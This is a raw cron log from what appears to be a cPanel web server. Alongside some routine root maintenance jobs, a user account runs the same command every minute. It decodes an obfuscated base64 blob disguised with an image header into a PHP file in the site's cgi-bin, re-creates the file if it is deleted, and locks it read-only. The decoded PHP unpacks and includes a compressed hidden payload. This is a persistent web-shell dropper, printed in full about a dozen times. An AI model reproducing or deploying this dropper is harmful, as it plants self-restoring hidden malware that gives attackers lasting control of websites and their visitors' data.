Nov 15 18:17:01 server CROND[31035]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:18:01 server CROND[31531]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:19:01 server CROND[31827]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:20:01 server CROND[32106]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 18:20:01 server CROND[32108]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 18:20:01 server CROND[32109]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 18:20:01 server CROND[32110]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:20:01 server CROND[32113]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 18:21:01 server CROND[32420]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:22:01 server CROND[32684]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:23:01 server CROND[484]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:24:01 server CROND[837]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:25:01 server CROND[1097]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 15 18:25:01 server CROND[1098]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:25:01 server CROND[1100]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 18:25:01 server CROND[1099]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 18:26:01 server CROND[1416]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:27:01 server CROND[1688]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 18:27:01 server CROND[1689]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:28:01 server CROND[1941]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:29:01 server CROND[2195]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:30:01 server CROND[2556]: (root) CMD (/usr/lib64/sa/sa1 1 1)
